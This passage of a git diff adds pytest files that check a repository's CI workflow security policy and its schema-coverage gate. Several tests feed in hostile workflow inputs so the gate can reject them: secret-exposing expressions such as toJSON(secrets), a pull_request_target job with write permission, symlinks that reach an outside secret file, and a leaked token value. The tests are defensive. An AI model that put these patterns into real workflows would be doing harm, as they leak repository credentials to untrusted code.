yaml.safe_load((root / ".github/workflows/ground-control-phase-e.yml").read_text()) + + +def test_merged_issue_finalization_has_a_valid_credential_boundary(tmp_path: Path) -> None: + assert _check(tmp_path, _finalization_workflow()) == set() + assert _finalization_workflow()["permissions"]["issues"] == "read" + + +@pytest.mark.parametrize("permission", ["contents", "pull-requests", "id-token"]) +def test_merged_issue_finalization_cannot_gain_other_writes(tmp_path: Path, permission: str) -> None: + workflow = _finalization_workflow() + workflow["jobs"]["finalize"]["permissions"][permission] = "write" + assert "tooling-action-permissions" in _check(tmp_path, workflow) + + +@pytest.mark.parametrize("guard", [None, "always()", "github.event_name == 'pull_request'"]) +def test_issue_writes_require_the_exact_merged_guard(tmp_path: Path, guard: str | None) -> None: + workflow = _finalization_workflow() + workflow["jobs"]["finalize"]["if"] = guard + assert "tooling-action-permissions" in _check(tmp_path, workflow) + + +@pytest.mark.parametrize("event", ["pull_request_target", "workflow_call", "push"]) +def test_issue_finalization_cannot_add_an_unchecked_trigger(tmp_path: Path, event: str) -> None: + workflow = _finalization_workflow() + workflow[True][event] = {} + assert "tooling-action-permissions" in _check(tmp_path, workflow) + + +def test_issue_finalization_requires_closed_pull_requests(tmp_path: Path) -> None: + workflow = _finalization_workflow() + workflow[True]["pull_request"]["types"] = ["opened", "closed"] + assert "tooling-action-permissions" in _check(tmp_path, workflow) + + +def test_issue_finalization_does_not_allow_repository_secrets(tmp_path: Path) -> None: + workflow = _finalization_workflow() + workflow["jobs"]["finalize"]["env"] = {"TOKEN": "${{ secrets.TOKEN }}"} + assert "tooling-action-credentials" in _check(tmp_path, workflow) + + +@pytest.mark.parametrize("secret", ["${{ secrets.TOKEN }}", "${{ secrets['TOKEN'] }}", "${{ toJSON(secrets) }}"]) +def test_pull_request_secret_exposure_is_rejected(tmp_path: Path, workflow: dict, secret: str) -> None: + workflow["jobs"]["test"]["steps"][1]["env"] = {"TOKEN": secret} + assert "tooling-action-credentials" in _check(tmp_path, workflow) + + +def test_pull_request_target_cannot_use_main_ref_as_a_credential_boundary(tmp_path: Path, workflow: dict) -> None: + workflow["on"] = {"pull_request_target": {}} + workflow["jobs"]["test"]["if"] = "github.ref == 'refs/heads/main'" + workflow["jobs"]["test"]["permissions"] = {"contents": "write"} + workflow["jobs"]["test"]["env"] = {"TOKEN": "${{ secrets.TOKEN }}"} + assert {"tooling-action-permissions", "tooling-action-credentials"} <= _check(tmp_path, workflow) + + +def test_sonar_boundary_does_not_admit_an_unrelated_credential(tmp_path: Path) -> None: + root = Path(__file__).resolve().parents[3] + path = ".github/workflows/canonical-verification.yml" + document = yaml.safe_load((root / path).read_text()) + document["jobs"]["sonar"].setdefault("env", {})["EXTRA"] = "${{ secrets.OTHER }}" + target = tmp_path / path + target.parent.mkdir(parents=True) + target.write_text(yaml.safe_dump(document)) + failures = {item.rule_id for item in action_failures(tmp_path, {}, [path])} + assert "tooling-action-credentials" in failures + + +def test_checkout_must_not_persist_credentials(tmp_path: Path, workflow: dict) -> None: + workflow["jobs"]["test"]["steps"][0]["with"] = {} + assert "tooling-action-credentials" in _check(tmp_path, workflow) + + +@pytest.mark.parametrize( + "path, expected", + [ + ("implementations/python/packages/raes_runtime/control_plane.py", False), + ("docs/explain/sdl/runtime.md", False), + ("CHANGELOG.md", False), + ("tools/verified_tool_installation.py", True), + ("tools/bootstrap_profile.py", True), + ("tools/maintained_client_acquisition.py", True), + ("implementations/tooling/artifacts.lock.json", True), + ("implementations/python/uv.lock", True), + (".devcontainer/Dockerfile", True), + (".github/workflows/bootstrap-qualification.yml", True), + ], +) +def test_component_qualification_runs_only_for_relevant_inputs(path: str, expected: bool) -> None: + root = Path(__file__).resolve().parents[3] + workflow = yaml.safe_load((root / ".github/workflows/bootstrap-qualification.yml").read_text()) + triggers = workflow.get("on", workflow.get(True)) + pull_request = triggers["pull_request"] + matches = any(fnmatch(path, pattern) for pattern in pull_request.get("paths", ["**"])) + assert matches is expected + assert "workflow_dispatch" in triggers + + +def test_ordinary_bootstrap_does_not_build_disconnected_kits() -> None: + root = Path(__file__).resolve().parents[3] + workflow = yaml.safe_load((root / ".github/workflows/bootstrap-qualification.yml").read_text()) + steps = workflow["jobs"]["generic-tool-platforms"]["steps"] + commands = "\n".join(step.get("run", "") for step in steps) + assert "offline-kit" not in commands + assert "generic-tools" in commands + assert "python-compatibility" in commands + + +def _workflow_bootstrap_invocations(): + root = Path(__file__).resolve().parents[3] + for path in sorted((root / ".github/workflows").glob("*.yml")): + workflow = yaml.safe_load(path.read_text()) + for job_name, job in workflow.get("jobs", {}).items(): + for step in job.get("steps", []): + script = step.get("run", "").replace("\\\n", " ") + for match in re.finditer( + r"(?:-m\s+tools\.bootstrap_profile|tools/bootstrap_profile\.py)\s+([^\n]+)", script + ): + command = re.sub(r"\$\{\{.*?\}\}", "fixture", match[1]) + arguments = shlex.split(command) + if ">" in arguments: + arguments = arguments[: arguments.index(">")] + yield pytest.param(arguments, id=f"{path.name}:{job_name}:{arguments[0]}") + + +@pytest.mark.parametrize("arguments", list(_workflow_bootstrap_invocations())) +def test_every_workflow_bootstrap_invocation_matches_the_live_cli(arguments, monkeypatch: pytest.MonkeyPatch) -> None: + from tools.bootstrap_profile import _parse_args + + monkeypatch.setattr(sys, "argv", ["bootstrap_profile", *arguments]) + assert _parse_args().operation == arguments[0] + + +def test_proof_workflow_retains_only_the_harness_output_it_produces() -> None: + root = Path(__file__).resolve().parents[3] + workflow = yaml.safe_load((root / ".github/workflows/canonical-verification.yml").read_text()) + steps = workflow["jobs"]["proof"]["steps"] + runs = "\n".join(step.get("run", "") for step in steps) + uploads = [step["with"]["path"] for step in steps if step.get("uses", "").startswith("actions/upload-artifact@")] + assert "-s participant-opacity-proof" in runs + assert "-s proof-input-qualification -- --real-installation --output proof-input-qualification.json" in runs + assert uploads == ["proof-input-qualification.json"] + + +def test_interpreter_workflow_has_no_upload_without_an_evidence_producer() -> None: + root = Path(__file__).resolve().parents[3] + workflow = yaml.safe_load((root / ".github/workflows/ci.yml").read_text()) + steps = workflow["jobs"]["interpreters"]["steps"] + assert any("-s python-compatibility" in step.get("run", "") for step in steps) + assert not any(step.get("uses", "").startswith("actions/upload-artifact@") for step in steps) + + +def test_acquisition_fixture_dependencies_are_optional() -> None: + root = Path(__file__).resolve().parents[3] + project = tomllib.loads((root / "implementations/tooling/python/pyproject.toml").read_text()) + assert not any(value.startswith("cryptography") for value in project["project"]["dependencies"]) + assert "cryptography==50.0.1" in project["dependency-groups"]["acquisition-tests"] + + +def test_development_container_uses_native_signed_package_sources() -> None: + root = Path(__file__).resolve().parents[3] + dockerfile = (root / ".devcontainer/Dockerfile").read_text() + assert "APT::Snapshot" not in dockerfile + assert "Check-Valid-Until" not in dockerfile + assert "--allow-unauthenticated" not in dockerfile + assert "apt-get update" in dockerfile + assert "USER raes" in dockerfile + + +def test_release_container_lane_has_no_same_job_export_import() -> None: + root = Path(__file__).resolve().parents[3] + workflow = yaml.safe_load((root / ".github/workflows/release-please.yml").read_text()) + job = workflow["jobs"]["integration-docker-release"] + commands = "\n".join(step.get("run", "") for step in job["steps"]) + assert "oci_release_image.py export" not in commands + assert "oci_release_image.py import" not in commands + required = next(step for step in job["steps"] if step.get("name") == "Require real-container release integration") + assert required["env"]["RAES_DOCKER_INTEGRATION_REQUIRED"] == "1" + assert "RAES_OCI_SOURCE_CLASS" not in required["env"] + + +@pytest.mark.parametrize("mode", ["mirror", "preseeded"]) +def test_retired_oci_modes_do_not_silently_enable_public_network(mode: str) -> None: + from tools.oci_release_image import ImageAdmissionError, resolve_source + + with pytest.raises(ImageAdmissionError, match="source-class"): + resolve_source({"RAES_OCI_SOURCE_CLASS": mode, "RAES_OCI_MIRROR_REPOSITORY": "mirror.invalid/alpine"}) + + +@pytest.mark.parametrize("script", ["run_aws_smoke.sh", "run_aws_guest_certify.sh"]) +def test_online_aws_smokes_do_not_preseed_a_complete_python_wheelhouse(script: str) -> None: + root = Path(__file__).resolve().parents[3] + text = (root / "tools/real-daemon" / script).read_text() + assert "snapshot.ubuntu.com" not in text + assert "Check-Valid-Until: no" not in text + assert "stage/wheelhouse" not in text + assert "--require-hashes" in text + assert "--build-constraints" in text + assert "--frozen" in text + + +def test_release_inventory_reads_only_its_native_workflow_graph(tmp_path: Path) -> None: + from tools.release_evidence import _workflow_actions + + workflows = tmp_path / ".github/workflows" + workflows.mkdir(parents=True) + (workflows / "release-please.yml").write_text( + yaml.safe_dump( + { + "jobs": { + "build": {"uses": "./.github/workflows/canonical-verification.yml"}, + "publish": {"steps": [{"uses": "pypa/gh-action-pypi-publish@" + "a" * 40}]}, + } + } + ) + ) + (workflows / "canonical-verification.yml").write_text( + yaml.safe_dump({"jobs": {"test": {"steps": [{"uses": "actions/checkout@" + "b" * 40}]}}}) + ) + (workflows / "unrelated.yml").write_text("not valid: [") + assert _workflow_actions(tmp_path) == [ + {"action": "actions/checkout", "commit": "b" * 40}, + {"action": "pypa/gh-action-pypi-publish", "commit": "a" * 40}, + ] + + +@pytest.mark.parametrize("host", [False, True]) +def test_selection_launcher_sanitizes_environment_and_failure(monkeypatch: pytest.MonkeyPatch, host: bool) -> None: + from types import SimpleNamespace + + from tools import tooling_policy_gate + + monkeypatch.setenv("GITHUB_TOKEN", "fixture-credential") + monkeypatch.setenv("PYTHONPATH", "/untrusted/override") + observed = {} + + def run(_argv, **kwargs): + observed.update(kwargs) + return SimpleNamespace(returncode=1, stdout="", stderr="fixture-credential: candidate-url?token=private") + + monkeypatch.setattr(tooling_policy_gate.subprocess, "run", run) + validator = tooling_policy_gate._validator_host_stdout if host else tooling_policy_gate._validator_stdout + selection = ( + {"host_profile_id": "host"} + if host + else {"artifact_id": "tool", "version": "1", "platform_id": "linux-x86_64", "profile_id": "public-linux-x86_64"} + ) + with pytest.raises(RuntimeError) as caught: + validator(["python", "validator"], **selection) + assert "fixture-credential" not in str(caught.value) + assert "candidate-url" not in str(caught.value) + assert "GITHUB_TOKEN" not in observed["env"] + assert "PYTHONPATH" not in observed["env"] diff --git a/implementations/python/tests/test_issue_1330_schema_coverage.py b/implementations/python/tests/test_issue_1330_schema_coverage.py new file mode 100644 index 000000000..c46e716fa --- /dev/null +++ b/implementations/python/tests/test_issue_1330_schema_coverage.py @@ -0,0 +1,910 @@ +"""Published-schema coverage gate (ASR-501, issue #1330). + +Every published contract must carry concrete coverage evidence: a routed corpus +artifact, a delivered formal assurance artifact, or an explicitly declared and +validated alternate association. These tests drive the rule through temporary +repositories in the style of ``test_repo_policy_tools.py`` and +``test_assurance_policy.py``, then assert the live tree satisfies it. +""" + +from __future__ import annotations + +import json +import sys +from pathlib import Path +from typing import Any + +import pytest +from jsonschema import Draft202012Validator +from raes_contracts.contracts.backend_preparation import BackendPreparationResponseModel +from raes_contracts.contracts.candidate_synthesis import CandidateSynthesisRecordModel +from raes_contracts.contracts.execution_state import ( + InstantiationRequestModel, + WorkflowCancellationRequestModel, +) +from raes_contracts.contracts.participant_execution import ( + ParticipantExecutionBindingModel, + ParticipantExecutionControlRequestModel, + ParticipantExecutionServiceStateModel, +) +from raes_contracts.contracts.semantic_projection import SemanticProjectionReportModel +from raes_contracts.realization_profiles import PlanProfileAuthority + +REPO_ROOT = Path(__file__).resolve().parents[3] +if str(REPO_ROOT) not in sys.path: + sys.path.insert(0, str(REPO_ROOT)) + +from tools.check_json_artifacts import ( # noqa: E402 + _frozen_historical_records, + collect_validation_targets, + covered_schema_paths, +) +from tools.check_schema_coverage import ( # noqa: E402 + COVERAGE_KEY, + DECLARATION_RULE_ID, + MAX_SOURCES, + MISSING_RULE_ID, + build_coverage_report, + evaluate_schema_coverage, + main, +) +from tools.check_schema_publication import load_schema_publication_catalog # noqa: E402 + +_SCHEMA = json.dumps( + { + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": False, + "properties": {"schema_version": {"type": "string"}}, + "type": "object", + }, + indent=2, + sort_keys=True, +) + + +def _write(path: Path, content: str) -> None: + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(content, encoding="utf-8") + + +def _write_json(path: Path, payload: Any) -> None: + _write(path, json.dumps(payload, indent=2, sort_keys=True) + "\n") + + +def _publish( + repo_root: Path, + contract_id: str, + family: str, + *, + coverage: dict[str, Any] | None = None, + sharded: bool = True, +) -> str: + """Publish one schema and its catalog record; return the schema path.""" + + schema_path = f"contracts/schemas/{family}/{contract_id}.json" + _write(repo_root / schema_path, _SCHEMA + "\n") + entry: dict[str, Any] = { + "content_hash": "0" * 64, + "contract_id": contract_id, + "schema_path": schema_path, + "stability": "draft", + } + if coverage is not None: + entry[COVERAGE_KEY] = coverage + if sharded: + _write_json(repo_root / "contracts/schema-publication/entries" / f"{contract_id}.json", entry) + _seal_sharded(repo_root) + else: + _append_legacy(repo_root, entry) + return schema_path + + +def _seal_sharded(repo_root: Path) -> None: + (repo_root / "contracts/schema-publication/tombstones").mkdir(parents=True, exist_ok=True) + _write_json( + repo_root / "contracts/schema-publication-manifest.json", + { + "entries_directory": "contracts/schema-publication/entries", + "hash_algorithm": "sha256", + "schema_version": "schema-publication-manifest/v2", + "tombstones_directory": "contracts/schema-publication/tombstones", + }, + ) + + +def _append_legacy(repo_root: Path, entry: dict[str, Any]) -> None: + manifest = repo_root / "contracts/schema-publication-manifest.json" + document: dict[str, Any] = { + "hash_algorithm": "sha256", + "schema_version": "schema-publication-manifest/v1", + "schemas": [], + } + if manifest.is_file(): + document = json.loads(manifest.read_text(encoding="utf-8")) + document["schemas"] = sorted( + [*(e for e in document["schemas"] if e["contract_id"] != entry["contract_id"]), entry], + key=lambda item: item["contract_id"], + ) + _write_json(manifest, document) + + +def _tombstone(repo_root: Path, schema_path: str) -> None: + _write_json( + repo_root / "contracts/schema-publication/tombstones" / f"{Path(schema_path).stem}.json", + {"schema_path": schema_path, "summary": "Retired during the coverage fixture build."}, + ) + _seal_sharded(repo_root) + + +def _corpus_fixture(repo_root: Path, contract_id: str, family: str, *, name: str = "reference") -> str: + relative = f"contracts/fixtures/{family}/{contract_id}/valid/{name}.json" + _write_json(repo_root / relative, {"schema_version": contract_id}) + return relative + + +def _fulfillment(repo_root: Path, *, delivered: list[str] = (), waived: list[str] = ()) -> None: + lines = [ + "fulfillment: classification-based-assurance-fulfillment", + "policy_ref: specs/formal/assurance-policy.yaml", + "subsystems:", + " - id: coverage-subsystem", + " path: specs/formal/coverage-subsystem", + " fm_level: FM2", + "entries:", + " - subsystem: coverage-subsystem", + " delivered_artifacts:", + ] + lines.extend(f" - kind: typed_ir_or_contract_coverage\n path: {path}" for path in delivered) + if not delivered: + lines.append(" []") + lines.append(" waived_artifacts:") + for path in waived: + lines.append( + f" - kind: typed_ir_or_contract_coverage\n path: {path}\n" + " date: 2026-09-20\n tracking:\n - '#1330'\n" + " rationale: Tracked gap retained as a waiver." + ) + if not waived: + lines.append(" []") + _write(repo_root / "specs/formal/assurance-fulfillment.yaml", "\n".join(lines) + "\n") + + +def _rule_ids(failures: list[Any]) -> list[str]: + return [failure.rule_id for failure in failures] + + +def _paths_for(failures: list[Any], rule_id: str) -> set[str]: + return {failure.path for failure in failures if failure.rule_id == rule_id} + + +def _declaration(*sources: dict[str, str], rationale: str | None = None) -> dict[str, Any]: + return { + "rationale": rationale if rationale is not None else "No conventional corpus route reaches this contract.", + "sources": list(sources), + } + + +def _source(kind: str, path: str, supports: str = "Publication shape at the validation phase.") -> dict[str, str]: + return {"kind": kind, "path": path, "supports": supports} + + +# --- leg 1: derived corpus coverage ----------------------------------------- + + +def test_routed_corpus_artifact_covers_published_schema(tmp_path: Path) -> None: + _publish(tmp_path, "operation-status-v1", "control-plane") + _corpus_fixture(tmp_path, "operation-status-v1", "control-plane") + + assert evaluate_schema_coverage(tmp_path) == [] + + +def test_uncovered_schema_reports_its_exact_path(tmp_path: Path) -> None: + schema_path = _publish(tmp_path, "operation-status-v1", "control-plane") + + failures = evaluate_schema_coverage(tmp_path) + + assert _paths_for(failures, MISSING_RULE_ID) == {schema_path} + + +def test_empty_valid_directory_is_not_coverage(tmp_path: Path) -> None: + schema_path = _publish(tmp_path, "operation-status-v1", "control-plane") + (tmp_path / "contracts/fixtures/control-plane/operation-status-v1/valid").mkdir(parents=True) + (tmp_path / "contracts/fixtures/control-plane/operation-status-v1/invalid").mkdir(parents=True) + + assert _paths_for(evaluate_schema_coverage(tmp_path), MISSING_RULE_ID) == {schema_path} + + +def test_invalid_only_corpus_is_not_coverage(tmp_path: Path) -> None: + schema_path = _publish(tmp_path, "operation-status-v1", "control-plane") + _write_json( + tmp_path / "contracts/fixtures/control-plane/operation-status-v1/invalid/broken.json", + {"schema_version": "operation-status-v1"}, + ) + + assert _paths_for(evaluate_schema_coverage(tmp_path), MISSING_RULE_ID) == {schema_path} + + +def test_covered_schema_paths_exposes_the_router_join(tmp_path: Path) -> None: + _publish(tmp_path, "operation-status-v1", "control-plane") + _corpus_fixture(tmp_path, "operation-status-v1", "control-plane") + + assert "contracts/schemas/control-plane/operation-status-v1.json" in covered_schema_paths(tmp_path) + + +def test_migration_corpus_documents_route_to_their_contract(tmp_path: Path) -> None: + _publish(tmp_path, "runtime-snapshot-v1", "snapshots") + _write_json( + tmp_path / "contracts/fixtures/snapshots/runtime-snapshot-v1/migration/legacy-before.json", + {"schema_version": "runtime-snapshot-v1"}, + ) + + assert evaluate_schema_coverage(tmp_path) == [] + + +def test_frozen_historical_records_are_not_routed_as_live_documents(tmp_path: Path) -> None: + """A content-hash-pinned pre-cutover record is not a claim about the contract now. + + ``tools/check_identity_cutover.py`` pins these documents, so they keep the + shape their contract had when they were written. Routing one would demand an + edit that the pin forbids and that would destroy the dated fact. + """ + + schema_path = _publish(tmp_path, "sdl-lineage-ledger-v1", "provenance") + _write_json( + tmp_path / "contracts/provenance/sdl-lineage-ledger-v1.json", + {"schema_version": "sdl-lineage-ledger/v1"}, + ) + _write_json( + tmp_path / "tools/policy/historical_identity_records.json", + { + "schema_version": "historical-identity-records/v3", + "records": [ + { + "path": "contracts/provenance/sdl-lineage-ledger-v1.json", + "record_class": "provenance-record", + "rationale": "Pre-cutover lineage observations.", + } + ], + }, + ) + + assert "contracts/provenance/sdl-lineage-ledger-v1.json" not in { + target.path for target in collect_validation_targets(tmp_path) + } + assert _paths_for(evaluate_schema_coverage(tmp_path), MISSING_RULE_ID) == {schema_path} + + +def test_a_live_document_still_covers_a_contract_whose_history_is_frozen(tmp_path: Path) -> None: + schema_path = _publish(tmp_path, "sdl-lineage-ledger-v1", "provenance") + _write_json( + tmp_path / "contracts/provenance/sdl-lineage-ledger-v1.json", + {"schema_version": "sdl-lineage-ledger/v1"}, + ) + _write_json( + tmp_path / "contracts/provenance/sdl-lineage-ledger-v2.json", + {"schema_version": "sdl-lineage-ledger/v1"}, + ) + _write_json( + tmp_path / "tools/policy/historical_identity_records.json", + {"records": [{"path": "contracts/provenance/sdl-lineage-ledger-v1.json", "record_class": "provenance-record"}]}, + ) + + routed = {target.path for target in collect_validation_targets(tmp_path)} + assert "contracts/provenance/sdl-lineage-ledger-v2.json" in routed + assert "contracts/provenance/sdl-lineage-ledger-v1.json" not in routed + assert schema_path in covered_schema_paths(tmp_path) + + +def test_every_checked_in_contract_payload_is_routed_or_frozen() -> None: + """No positive payload of a published contract sits outside the validation lane. + + A document that names a published contract but that nothing validates is the + silent hole this gate exists to close: the contract reads as covered while + the document is free to drift. + """ + + routed = {target.path for target in collect_validation_targets(REPO_ROOT)} + frozen = _frozen_historical_records(REPO_ROOT) + published = {entry["contract_id"] for entry in load_schema_publication_catalog(REPO_ROOT)["schemas"]} + + unrouted = [] + for path in sorted((REPO_ROOT / "contracts").rglob("*.json")): + relative = path.relative_to(REPO_ROOT).as_posix() + if relative.startswith(("contracts/schemas/", "contracts/schema-publication")): + continue + if "/invalid/" in relative or relative in routed or relative in frozen: + continue + payload = json.loads(path.read_text(encoding="utf-8")) + schema_version = payload.get("schema_version") if isinstance(payload, dict) else None + if isinstance(schema_version, str) and schema_version.replace("/", "-") in published: + unrouted.append(relative) + + assert unrouted == [] + + +def test_a_symlinked_exclusion_manifest_excludes_nothing(tmp_path: Path) -> None: + """The exclusion manifest decides what routing skips, so it cannot be a link. + + Following one would let a contributed symlink redirect the skip set at a file + outside the checkout and silently suppress validation. Irregular means + "exclude nothing", never "exclude whatever the link resolves to". + """ + + outside = tmp_path / "outside-records.json" + _write_json( + outside, + {"records": [{"path": "contracts/provenance/operation-status-v1.json", "record_class": "provenance-record"}]}, + ) + _publish(tmp_path, "operation-status-v1", "control-plane") + _write_json( + tmp_path / "contracts/provenance/operation-status-v1.json", + {"schema_version": "operation-status-v1"}, + ) + manifest = tmp_path / "tools/policy/historical_identity_records.json" + manifest.parent.mkdir(parents=True, exist_ok=True) + manifest.symlink_to(outside) + + assert _frozen_historical_records(tmp_path) == frozenset() + assert "contracts/provenance/operation-status-v1.json" in { + target.path for target in collect_validation_targets(tmp_path) + } + + +def test_symlinked_corpus_artifacts_are_never_dereferenced(tmp_path: Path) -> None: + """Corpus discovery must not follow a tracked symlink out of the checkout. + + Corpus trees are PR-controlled. ``Path.is_file()`` follows a symlink, so + without the regular-file boundary a contributed link would have its target + read for a schema version and handed to the validator, putting host-resident + content into policy diagnostics. + """ + + outside = tmp_path / "outside.json" + _write_json(outside, {"schema_version": "operation-status-v1", "secret": "host-resident"}) + + _publish(tmp_path, "operation-status-v1", "control-plane") + linked = tmp_path / "contracts/provenance/operation-status-v1.json" + linked.parent.mkdir(parents=True, exist_ok=True) + linked.symlink_to(outside) + + routed = {target.path for target in collect_validation_targets(tmp_path)} + + assert "contracts/provenance/operation-status-v1.json" not in routed + assert _paths_for(evaluate_schema_coverage(tmp_path), MISSING_RULE_ID) == { + "contracts/schemas/control-plane/operation-status-v1.json" + } + + +def test_symlinked_fixture_and_schema_artifacts_are_excluded_from_every_scan(tmp_path: Path) -> None: + outside = tmp_path / "outside.json" + _write_json(outside, {"schema_version": "operation-status-v1"}) + _publish(tmp_path, "operation-status-v1", "control-plane") + + for relative in ( + "contracts/fixtures/control-plane/operation-status-v1/valid/linked.json", + "contracts/concept-authority/linked.json", + "contracts/schemas/control-plane/linked.json", + ): + link = tmp_path / relative + link.parent.mkdir(parents=True, exist_ok=True) + link.symlink_to(outside) + + full = {target.path for target in collect_validation_targets(tmp_path)} + named = { + target.path + for target in collect_validation_targets( + tmp_path, + paths=["contracts/fixtures/control-plane/operation-status-v1/valid/linked.json"], + ) + } + + assert not any("linked.json" in path for path in full) + assert named == set() + + +# --- leg 2: canonical formal coverage --------------------------------------- + + +def test_delivered_formal_artifact_covers_published_schema(tmp_path: Path) -> None: + schema_path = _publish(tmp_path, "operation-status-v1", "control-plane") + _fulfillment(tmp_path, delivered=[schema_path]) + + assert evaluate_schema_coverage(tmp_path) == [] + + +def test_waived_formal_artifact_is_not_coverage(tmp_path: Path) -> None: + schema_path = _publish(tmp_path, "operation-status-v1", "control-plane") + _fulfillment(tmp_path, waived=[schema_path]) + + assert _paths_for(evaluate_schema_coverage(tmp_path), MISSING_RULE_ID) == {schema_path} + + +def test_structural_contract_passes_without_any_formal_model(tmp_path: Path) -> None: + _publish(tmp_path, "operation-status-v1", "control-plane") + _corpus_fixture(tmp_path, "operation-status-v1", "control-plane") + + # No assurance-fulfillment file exists at all: the gate never demands a + # formal model and never reports a missing formal association. + assert not (tmp_path / "specs/formal/assurance-fulfillment.yaml").exists() + assert evaluate_schema_coverage(tmp_path) == [] + + +# --- leg 3: declared alternate coverage ------------------------------------- +# +# A declaration is a claim, and the gate proves every claim it accepts. Naming a +# contract, or naming a file that mentions one, is identity, not evidence: the +# named artifact must actually conform to the published schema, so removing the +# validation cannot leave the gate green. + + +def _conforming(contract_id: str) -> dict[str, Any]: + return {"schema_version": contract_id} + + +def test_declared_fixture_source_covers_published_schema(tmp_path: Path) -> None: + _write_json(tmp_path / "contracts/profiles/control-plane/reference-status.json", _conforming("operation-status-v1")) + _publish( + tmp_path, + "operation-status-v1", + "control-plane", + coverage=_declaration(_source("fixture", "contracts/profiles/control-plane/reference-status.json")), + ) + + assert evaluate_schema_coverage(tmp_path) == [] + + +def test_declared_fixture_source_must_conform_to_the_published_schema(tmp_path: Path) -> None: + """A document that claims the contract but violates it is not evidence. + + This is the hole a name-matching gate leaves open: a deliberately invalid + corpus case carries the contract id, so identity alone would accept it as + proof that the contract is exercised. + """ + + _write_json( + tmp_path / "contracts/profiles/control-plane/rejected-status.json", + {"schema_version": "operation-status-v1", "force": True}, + ) + schema_path = _publish( + tmp_path, + "operation-status-v1", + "control-plane", + coverage=_declaration(_source("fixture", "contracts/profiles/control-plane/rejected-status.json")), + ) + + failures = evaluate_schema_coverage(tmp_path) + + assert _paths_for(failures, DECLARATION_RULE_ID) == {schema_path} + assert _paths_for(failures, MISSING_RULE_ID) == {schema_path} + + +def test_a_carrier_is_not_whole_document_evidence_for_a_contract_it_embeds(tmp_path: Path) -> None: + """A carrier is not a payload of what it carries. + + Validating the carrier against the embedded contract's schema would be a + category error, so a nested payload has to name its node instead. + """ + + _write_json( + tmp_path / "contracts/profiles/control-plane/carrier.json", + {"schema_version": "backend-manifest-v2", "members": [{"schema_version": "operation-status-v1"}]}, + ) + schema_path = _publish( + tmp_path, + "operation-status-v1", + "control-plane", + coverage=_declaration(_source("fixture", "contracts/profiles/control-plane/carrier.json")), + ) + + failures = evaluate_schema_coverage(tmp_path) + + assert _paths_for(failures, DECLARATION_RULE_ID) == {schema_path} + assert _paths_for(failures, MISSING_RULE_ID) == {schema_path} + + +def test_contract_id_inside_a_string_list_is_not_coverage(tmp_path: Path) -> None: + _write_json( + tmp_path / "contracts/profiles/control-plane/manifest.json", + {"schema_version": "backend-manifest-v2", "declared_contracts": ["operation-status-v1"]}, + ) + schema_path = _publish( + tmp_path, + "operation-status-v1", + "control-plane", + coverage=_declaration(_source("fixture", "contracts/profiles/control-plane/manifest.json")), + ) + + failures = evaluate_schema_coverage(tmp_path) + + assert _paths_for(failures, DECLARATION_RULE_ID) == {schema_path} + assert _paths_for(failures, MISSING_RULE_ID) == {schema_path} + + +def test_a_python_test_file_is_no_longer_an_accepted_source_kind(tmp_path: Path) -> None: + """Naming a test cannot be evidence, because the gate cannot falsify it. + + A file containing nothing but the contract name would satisfy any reference + check, so the kind is gone rather than weakened. + """ + + _write( + tmp_path / "implementations/python/tests/test_operation_status.py", + 'CONTRACT = "operation-status-v1"\n', + ) + schema_path = _publish( + tmp_path, + "operation-status-v1", + "control-plane", + coverage=_declaration(_source("test", "implementations/python/tests/test_operation_status.py")), + ) + + failures = evaluate_schema_coverage(tmp_path) + + assert _paths_for(failures, DECLARATION_RULE_ID) == {schema_path} + assert _paths_for(failures, MISSING_RULE_ID) == {schema_path} + + +def _carrier_repo(tmp_path: Path, node: Any) -> str: + """Publish a contract realized only as a node inside another artifact.""" + + _write_json( + tmp_path / "contracts/schemas/profiles/annotation-entry-v1.json", + { + "$schema": "https://json-schema.org/draft/2020-12/schema", + "$defs": { + "Entry": { + "additionalProperties": False, + "properties": {"id": {"minLength": 1, "type": "string"}}, + "required": ["id"], + "type": "object", + } + }, + "additionalProperties": False, + "properties": {"schema_version": {"type": "string"}}, + "type": "object", + }, + ) + _write_json(tmp_path / "contracts/profiles/carriers/host.json", {"schema_version": "host-v1", "annotations": node}) + entry = { + "content_hash": "0" * 64, + "contract_id": "annotation-entry-v1", + "schema_path": "contracts/schemas/profiles/annotation-entry-v1.json", + "stability": "draft", + COVERAGE_KEY: _declaration( + { + "kind": "embedded", + "path": "contracts/profiles/carriers/host.json", + "pointer": "/annotations/0", + "schema_pointer": "#/$defs/Entry", + "supports": "A published annotation entry, validated at the publication phase.", + } + ), + } + _write_json(tmp_path / "contracts/schema-publication/entries/annotation-entry-v1.json", entry) + _seal_sharded(tmp_path) + return "contracts/schemas/profiles/annotation-entry-v1.json" + + +def test_embedded_source_covers_when_the_pointed_node_validates(tmp_path: Path) -> None: + _carrier_repo(tmp_path, [{"id": "entry-one"}]) + + assert evaluate_schema_coverage(tmp_path) == [] + + +def test_embedded_source_stops_covering_when_the_node_is_removed(tmp_path: Path) -> None: + """Deleting the annotation must turn the gate red, not leave it green.""" + + schema_path = _carrier_repo(tmp_path, []) + + failures = evaluate_schema_coverage(tmp_path) + + assert _paths_for(failures, DECLARATION_RULE_ID) == {schema_path} + assert _paths_for(failures, MISSING_RULE_ID) == {schema_path} + + +def test_embedded_source_stops_covering_when_the_node_stops_conforming(tmp_path: Path) -> None: + schema_path = _carrier_repo(tmp_path, [{"id": "entry-one", "unexpected": True}]) + + failures = evaluate_schema_coverage(tmp_path) + + assert _paths_for(failures, DECLARATION_RULE_ID) == {schema_path} + assert _paths_for(failures, MISSING_RULE_ID) == {schema_path} + + +def test_embedded_schema_pointer_must_name_a_published_definition(tmp_path: Path) -> None: + _carrier_repo(tmp_path, [{"id": "entry-one"}]) + entry_path = tmp_path / "contracts/schema-publication/entries/annotation-entry-v1.json" + entry = json.loads(entry_path.read_text(encoding="utf-8")) + entry[COVERAGE_KEY]["sources"][0]["schema_pointer"] = "#/$defs/DoesNotExist" + _write_json(entry_path, entry) + + failures = evaluate_schema_coverage(tmp_path) + + assert _paths_for(failures, DECLARATION_RULE_ID) == {"contracts/schemas/profiles/annotation-entry-v1.json"} + + +def test_one_schema_may_cite_several_nodes_of_one_carrier(tmp_path: Path) -> None: + _carrier_repo(tmp_path, [{"id": "entry-one"}, {"id": "entry-two"}]) + entry_path = tmp_path / "contracts/schema-publication/entries/annotation-entry-v1.json" + entry = json.loads(entry_path.read_text(encoding="utf-8")) + second = dict(entry[COVERAGE_KEY]["sources"][0]) + second["pointer"] = "/annotations/1" + 